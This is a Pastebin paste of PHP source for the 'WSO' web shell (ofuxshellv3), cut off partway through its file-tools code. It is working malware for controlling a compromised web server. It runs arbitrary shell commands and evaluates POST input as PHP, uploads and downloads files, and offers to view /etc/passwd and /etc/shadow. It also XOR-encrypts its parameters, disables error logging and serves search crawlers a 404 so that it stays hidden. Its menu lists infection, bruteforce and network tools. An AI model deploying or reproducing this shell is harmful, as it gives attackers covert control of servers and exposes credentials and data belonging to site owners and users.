ToKeiChun

WSO WebShell [ofuxshellv3]

Apr 14th, 2020
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 83.21 KB | None | 0 0
  1. <?php
  2. if($_GET["information"] === "1"){
  3. echo php_uname();
  4. exit();
  5. }
  6. if($_GET["os"] === "2"){
  7. echo PHP_OS.' - PHP '.phpversion();
  8. exit();
  9. }
  10.  
  11. if($_GET["sendemail"]){
  12. $xx = rand();
  13. mail($_GET["sendemail"],"Result Report Test - ".$xx,"WORKING !");
  14. print "<b>sendok - [".$_GET["sendemail"]."] - $xx</b>";
  15. exit();
  16. }
  17.  
  18. echo '<span hidden>ofuxshell</span>';
  19. echo '<span hidden>ofuxshellv3</span>';
  20. //-----------------Password---------------------
  21. $▛ = ""; //admin
  22. $▘ = true;
  23. $▜ = 'UTF-8';
  24. $▚ = 'FilesMan';
  25. $▙ = md5($_SERVER['HTTP_USER_AGENT']);
  26. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
  27. prototype(md5($_SERVER['HTTP_HOST'])."key", $▙);
  28. }
  29. if(empty($_POST['charset']))
  30. $_POST['charset'] = $▜;
  31. if (!isset($_POST['ne'])) {
  32. if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  33. if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  34. if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  35. if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  36. if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
  37. }
  38. function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
  39. @ini_set('error_log',NULL);
  40. @ini_set('log_errors',0);
  41. @ini_set('max_execution_time',0);
  42. @set_time_limit(0);
  43. if (PHP_VERSION_ID < 70000)
  44. @set_magic_quotes_runtime(0);
  45. @define('VERSION', '4.2.5');
  46. if(get_magic_quotes_gpc()) {
  47. function stripslashes_array($array) {
  48. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  49. }
  50. $_POST = stripslashes_array($_POST);
  51. $_COOKIE = stripslashes_array($_COOKIE);
  52. }
  53. /* (С) 11.2011 oRb */
  54. if(!empty($▛)) {
  55. if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
  56. prototype(md5($_SERVER['HTTP_HOST']), $▛);
  57. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
  58. hardLogin();
  59. }
  60. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  61. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
  62. function hardLogin() {
  63. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  64. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  65. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  66. header('HTTP/1.0 404 Not Found');
  67. exit;
  68. }
  69. }
  70. die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
  71. }
  72. if(strtolower(substr(PHP_OS,0,3)) == "win")
  73. $os = 'win';
  74. else
  75. $os = 'nix';
  76. $safe_mode = @ini_get('safe_mode');
  77. if(!$safe_mode)
  78. error_reporting(0);
  79. $disable_functions = @ini_get('disable_functions');
  80. $home_cwd = @getcwd();
  81. if(isset($_POST['c']))
  82. @chdir($_POST['c']);
  83. $cwd = @getcwd();
  84. if($os == 'win') {
  85. $home_cwd = str_replace("\\", "/", $home_cwd);
  86. $cwd = str_replace("\\", "/", $cwd);
  87. }
  88. if($cwd[strlen($cwd)-1] != '/')
  89. $cwd .= '/';
  90. /* (С) 04.2015 Pirat */
  91. function hardHeader() {
  92. if(empty($_POST['charset']))
  93. $_POST['charset'] = $GLOBALS['▜'];
  94. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION ."</title>
  95. <style>
  96. body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
  97. #particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
  98. body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
  99. table.info {color:#C3C3C3;}
  100. table#toolsTbl {background-color: #060A10;}
  101. span,h1,a {color:#fff !important;}
  102. span {font-weight:bolder;}
  103. h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
  104. div.content {padding:5px;margin-left:5px;background-color:#060a10;}
  105. a {text-decoration:none;}
  106. a:hover {text-decoration:underline;}
  107. .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
  108. .tooltip:hover::after {opacity:1;visibility:visible;}
  109. .ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
  110. .bigarea {min-width:100%;max-width:100%;height:400px;}
  111. input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
  112. label {position:relative}
  113. label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
  114. label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
  115. form {margin:0px;}
  116. #toolsTbl {text-align:center;}
  117. #fak {background:none;}
  118. #fak td {padding:5px 0 0 0;}
  119. iframe {border:1px solid #060a10;}
  120. .toolsInp {width:300px}
  121. .main th {text-align:left;background-color:#060a10;}
  122. .main tr:hover{background-color:#354252;}
  123. .main td, th{vertical-align:middle;}
  124. input[type='submit']{background-color:#2E6E9C;}
  125. input[type='button']{background-color:#2E6E9C;}
  126. input[type='submit']:hover{background-color:#56AD15;}
  127. input[type='button']:hover{background-color:#56AD15;}
  128. .l1 {background-color:#202832;}
  129. pre {font:9pt Courier New;}
  130. </style>
  131. <script>
  132. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  133. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  134. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  135. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  136. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  137. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  138. var d = document;
  139.  
  140. function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
  141. function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
  142. function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
  143. function set(a,c,p1,p2,p3,charset) {
  144. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  145. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  146. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  147. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  148. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  149. d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  150. d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  151. d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  152. d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  153. d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  154. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  155. }
  156. function g(a,c,p1,p2,p3,charset) {
  157. set(a,c,p1,p2,p3,charset);
  158. d.mf.submit();
  159. }
  160. function a(a,c,p1,p2,p3,charset) {
  161. set(a,c,p1,p2,p3,charset);
  162. var params = 'ajax=true';
  163. for(i=0;i<d.mf.elements.length;i++)
  164. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  165. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  166. }
  167. function sr(url, params) {
  168. if (window.XMLHttpRequest)
  169. req = new XMLHttpRequest();
  170. else if (window.ActiveXObject)
  171. req = new ActiveXObject('Microsoft.XMLHTTP');
  172. if (req) {
  173. req.onreadystatechange = processReqChange;
  174. req.open('POST', url, true);
  175. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  176. req.send(params);
  177. }
  178. }
  179. function processReqChange() {
  180. if( (req.readyState == 4) )
  181. if(req.status == 200) {
  182. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  183. var arr=reg.exec(req.responseText);
  184. eval(arr[2].substr(0, arr[1]));
  185. } else alert('Request error!');
  186. }
  187. </script>
  188. <head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
  189. <form method=post name=mf style='display:none;'>
  190. <input type=hidden name=a>
  191. <input type=hidden name=c>
  192. <input type=hidden name=p1>
  193. <input type=hidden name=p2>
  194. <input type=hidden name=p3>
  195. <input type=hidden name=charset>
  196. </form>";
  197. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  198. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  199. $totalSpace = $totalSpace?$totalSpace:1;
  200. $release = @php_uname('r');
  201. $kernel = @php_uname('s');
  202. $explink = 'http://www.ofux.pro';
  203. if(strpos('Linux', $kernel) !== false)
  204. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  205. else
  206. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  207. if(!function_exists('posix_getegid')) {
  208. $user = @get_current_user();
  209. $uid = @getmyuid();
  210. $gid = @getmygid();
  211. $group = "?";
  212. } else {
  213. $uid = @posix_getpwuid(@posix_geteuid());
  214. $gid = @posix_getgrgid(@posix_getegid());
  215. $user = $uid['name'];
  216. $uid = $uid['uid'];
  217. $group = $gid['name'];
  218. $gid = $gid['gid'];
  219. }
  220. $cwd_links = '';
  221. $path = explode("/", $GLOBALS['cwd']);
  222. $n=count($path);
  223. for($i=0; $i<$n-1; $i++) {
  224. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  225. for($j=0; $j<=$i; $j++)
  226. $cwd_links .= $path[$j].'/';
  227. $cwd_links .= "\")'>".$path[$i]."/</a>";
  228. }
  229. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  230. $opt_charsets = '';
  231. foreach($charsets as $▟)
  232. $opt_charsets .= '<option value="'.$▟.'" '.($_POST['charset']==$▟?'selected':'').'>'.$▟.'</option>';
  233. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  234. if(!empty($GLOBALS['▛']))
  235. $m['Logout'] = 'Logout';
  236. $m['Self remove'] = 'SelfRemove';
  237. $menu = '';
  238. foreach($m as $k => $v)
  239. $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  240. $drives = "";
  241. if ($GLOBALS['os'] == 'win') {
  242. foreach(range('c','z') as $drive)
  243. if (is_dir($drive.':\\'))
  244. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  245. }
  246. /* (С) 08.2015 dmkcv */
  247. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  248. '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  249. '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  250. '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
  251. }
  252. function hardFooter() {
  253. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
  254. echo "
  255. </div>
  256. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
  257. <tr>
  258. <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
  259. <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  260. </tr><tr>
  261. <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
  262. <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  263. </tr><tr>
  264. <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
  265. <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
  266. <input type=hidden name=a value='FilesMan'>
  267. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  268. <input type=hidden name=p1 value='uploadFile'>
  269. <input type=hidden name=ne value=''>
  270. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  271. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
  272. </tr></table></div>
  273. <!-- particles --> <div id='particles-js'></div><script src='http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
  274. <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
  275. </body></html>";
  276. }
  277. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
  278. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
  279. function ex($in) {
  280. $▖ = '';
  281. if (function_exists('exec')) {
  282. @exec($in,$▖);
  283. $▖ = @join("\n",$▖);
  284. } elseif (function_exists('passthru')) {
  285. ob_start();
  286. @passthru($in);
  287. $▖ = ob_get_clean();
  288. } elseif (function_exists('system')) {
  289. ob_start();
  290. @system($in);
  291. $▖ = ob_get_clean();
  292. } elseif (function_exists('shell_exec')) {
  293. $▖ = shell_exec($in);
  294. } elseif (is_resource($f = @popen($in,"r"))) {
  295. $▖ = "";
  296. while(!@feof($f))
  297. $▖ .= fread($f,1024);
  298. pclose($f);
  299. }else return "↳ Unable to execute command\n";
  300. return ($▖==''?"↳ Query did not return anything\n":$▖);
  301. }
  302. function viewSize($s) {
  303. if($s >= 1073741824)
  304. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  305. elseif($s >= 1048576)
  306. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  307. elseif($s >= 1024)
  308. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  309. else
  310. return $s . ' B';
  311. }
  312. function perms($p) {
  313. if (($p & 0xC000) == 0xC000)$i = 's';
  314. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  315. elseif (($p & 0x8000) == 0x8000)$i = '-';
  316. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  317. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  318. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  319. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  320. else $i = 'u';
  321. $i .= (($p & 0x0100) ? 'r' : '-');
  322. $i .= (($p & 0x0080) ? 'w' : '-');
  323. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  324. $i .= (($p & 0x0020) ? 'r' : '-');
  325. $i .= (($p & 0x0010) ? 'w' : '-');
  326. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  327. $i .= (($p & 0x0004) ? 'r' : '-');
  328. $i .= (($p & 0x0002) ? 'w' : '-');
  329. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  330. return $i;
  331. }
  332. function viewPermsColor($f) {
  333. if (!@is_readable($f))
  334. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  335. elseif (!@is_writable($f))
  336. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  337. else
  338. return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
  339. }
  340. function hardScandir($dir) {
  341. if(function_exists("scandir")) {
  342. return scandir($dir);
  343. } else {
  344. $dh = opendir($dir);
  345. while (false !== ($filename = readdir($dh)))
  346. $files[] = $filename;
  347. return $files;
  348. }
  349. }
  350. function which($p) {
  351. $path = ex('which ' . $p);
  352. if(!empty($path))
  353. return $path;
  354. return false;
  355. }
  356. function actionRC() {
  357. if(!@$_POST['p1']) {
  358. $a = array(
  359. "uname" => php_uname(),
  360. "php_version" => phpversion(),
  361. "VERSION" => VERSION,
  362. "safemode" => @ini_get('safe_mode')
  363. );
  364. echo serialize($a);
  365. } else {
  366. eval($_POST['p1']);
  367. }
  368. }
  369. function prototype($k, $v) {
  370. $_COOKIE[$k] = $v;
  371. setcookie($k, $v);
  372. }
  373. function actionSecInfo() {
  374. hardHeader();
  375. echo '<h1>Server security information</h1><div class=content>';
  376. function showSecParam($n, $v) {
  377. $v = trim($v);
  378. if($v) {
  379. echo '<span>' . $n . ': </span>';
  380. if(strpos($v, "\n") === false)
  381. echo $v . '<br>';
  382. else
  383. echo '<pre class=ml1>' . $v . '</pre>';
  384. }
  385. }
  386. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  387. if(function_exists('apache_get_modules'))
  388. showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  389. showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  390. showSecParam('Open base dir', @ini_get('open_basedir'));
  391. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  392. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  393. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  394. $temp=array();
  395. if(function_exists('mysql_get_client_info'))
  396. $temp[] = "MySql (".mysql_get_client_info().")";
  397. if(function_exists('mssql_connect'))
  398. $temp[] = "MSSQL";
  399. if(function_exists('pg_connect'))
  400. $temp[] = "PostgreSQL";
  401. if(function_exists('oci_connect'))
  402. $temp[] = "Oracle";
  403. showSecParam('Supported databases', implode(', ', $temp));
  404. echo '<br>';
  405. if($GLOBALS['os'] == 'nix') {
  406. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  407. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  408. showSecParam('OS version', @file_get_contents('/proc/version'));
  409. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  410. if(!$GLOBALS['safe_mode']) {
  411. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  412. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  413. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  414. echo '<br>';
  415. $temp=array();
  416. foreach ($userful as $▟)
  417. if(which($▟))
  418. $temp[] = $▟;
  419. showSecParam('Userful', implode(', ',$temp));
  420. $temp=array();
  421. foreach ($danger as $▟)
  422. if(which($▟))
  423. $temp[] = $▟;
  424. showSecParam('Danger', implode(', ',$temp));
  425. $temp=array();
  426. foreach ($downloaders as $▟)
  427. if(which($▟))
  428. $temp[] = $▟;
  429. showSecParam('Downloaders', implode(', ',$temp));
  430. echo '<br/>';
  431. showSecParam('HDD space', ex('df -h'));
  432. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  433. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  434. }
  435. } else {
  436. showSecParam('OS Version',ex('ver'));
  437. showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
  438. showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
  439. }
  440. echo '</div>';
  441. hardFooter();
  442. }
  443. function actionFilesTools() {
  444. if( isset($_POST['p1']) )
  445. $_POST['p1'] = urldecode($_POST['p1']);
  446. if(@$_POST['p2']=='download') {
  447. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  448. ob_start("ob_gzhandler", 4096);
  449. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  450. if (function_exists("mime_content_type")) {
  451. $type = @mime_content_type($_POST['p1']);
  452. header("Content-Type: " . $type);
  453. } else
  454. header("Content-Type: application/octet-stream");
  455. $fp = @fopen($_POST['p1'], "r");
  456. if($fp) {
  457. while(!@feof($fp))
  458. echo @fread($fp, 1024);
  459. fclose($fp);
  460. }
  461. }exit;
  462. }
  463. if( @$_POST['p2'] == 'mkfile' ) {
  464. if(!file_exists($_POST['p1'])) {
  465. $fp = @fopen($_POST['p1'], 'w');
  466. if($fp) {
  467. $_POST['p2'] = "edit";
  468. fclose($fp);
  469. }
  470. }
  471. }
  472. hardHeader();
  473. echo '<h1>File tools</h1><div class=content>';
  474. if( !file_exists(@$_POST['p1']) ) {
  475. echo 'File not exists';
  476. hardFooter();
  477. return;
  478. }
  479. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  480. if(!$uid) {
  481. $uid['name'] = @fileowner($_POST['p1']);
  482. $gid['name'] = @filegroup($_POST['p1']);
  483. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  484. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  485. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  486. if( empty($_POST['p2']) )
  487. $_POST['p2'] = 'view';
  488. if( is_file($_POST['p1']) )
  489. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
  490. else
  491. $m = array('Chmod', 'Rename', 'Touch');
  492. foreach($m as $v)
  493. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  494. echo '<br><br>';
  495. switch($_POST['p2']) {
  496. case 'view':
  497. echo '<pre class=ml1>';
  498. $fp = @fopen($_POST['p1'], 'r');
  499. if($fp) {
  500. while( !@feof($fp) )
  501. echo htmlspecialchars(@fread($fp, 1024));
  502. @fclose($fp);
  503. }
  504. echo '</pre>';
  505. break;
  506. case 'highlight':
  507. if( @is_readable($_POST['p1']) ) {
  508. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  509. $oRb = @highlight_file($_POST['p1'],true);
  510. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
  511. }
  512. break;
  513. case 'chmod':
  514. if( !empty($_POST['p3']) ) {
  515. $perms = 0;
